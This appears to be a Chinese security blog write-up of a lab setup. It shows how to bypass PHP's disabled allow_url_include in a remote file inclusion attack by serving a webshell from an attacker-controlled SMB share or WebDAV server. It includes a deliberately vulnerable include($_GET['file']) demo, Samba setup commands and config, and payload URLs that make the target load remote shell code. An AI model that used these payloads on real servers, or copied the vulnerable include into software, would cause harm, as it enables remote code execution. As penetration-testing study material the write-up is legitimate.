Yoga7xm's Blog

RFI Getshell By SMB & WebDav

字数统计: 499阅读时长: 2 min
2019/05/28 Share

前言

由于php.ini中,allow_url_fopen默认是关闭状态的,所以不允许加载外界URL。但是最近刷到了几条Trick来绕过,于是记载学习下。
思路其实也挺清晰的,在allow_url_fopenallow_url_include均为off的情况下,使用SMB URL(UNC路径)可以加载资源实现RCE。UNC中是不能出现冒号的,而且为Windows系统专用。

环境

  1. Windows10:两项配置项均已关闭
  2. Kali:samba
  3. Win7:文件共享

一个小Demo文件跑在Win10上

1
2
<?php
include($_GET['file']);

SMB Bypass

Win7 文件共享

开启文件共享步骤:

  1. 在计算机管理中启用guest用户
  2. 进入高级共享设置中,关闭密码保护选项
  3. 新建一个名为Webshell文件夹,其中新建PHP一句话木马
  4. 共享该文件夹并设置Guest访问权限
    在Windows中,访问\\192.168.1.120\webshell账号为guest,密码为空,登录成功

运行payload即可

1
http://localhost/rfi.php?file=\\192.168.1.120\webshell\1.txt

也成功连接菜刀


Linux Samba

首先得在Ubuntu中安装Samba服务

1
2
3
4
5
6
apt-get install -y samba
mkdir /tmp/public
chmod 0555 /tmp/public
chown -R nobody:nogroup /tmp/public
vim /etc/samba/smb.conf
service smbd start

smb.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[global]
workgroup=WORKGROUP
server string=Samba Server
netbios name=indishell-lab
security=user
map to guest=bad user
name resolve order=bcast host
dns proxy = no
bind interfaces only=yes

[ethan]
path=/tmp/pub
writable=no
guest ok=yes
guest only=yes
read only=yes
directory mode=0555
force user=nobody

同样的在Windows中访问\\192.168.1.101\

运行payload即可

1
http://localhost/rfi.php?file=\\192.168.1.101\ethan\shell.txt

WebDav Bypass

WebDAV在标准的HTTP协议上扩展了特有的请求方式: PROPFIND, MOVE, COPY等。 然后用这些请求,可以操作web服务器上的磁盘

Apache包含了内置的WebDAV模块,启用即可。
Ubuntu搭建教程:传送门
搭建好了之后在Kali中尝试dav://127.0.0.1/webdav,出现文件说明搭建成功了

其中web.txt是一个一句话,运行payload吗,成功包含

1
http://localhost/rfi.php?file=//192.168.1.101//webdav/web.txt

Reference

https://paper.seebug.org/923/
https://helpcenter.onlyoffice.com/server/community/connect-webdav-server-ubuntu.aspx
https://422926799.github.io/posts/9b6dafa5.html

CATALOG
  1. 1. 前言
  2. 2. 环境
  3. 3. SMB Bypass
    1. 3.1. Win7 文件共享
    2. 3.2. Linux Samba
  4. 4. WebDav Bypass
  5. 5. Reference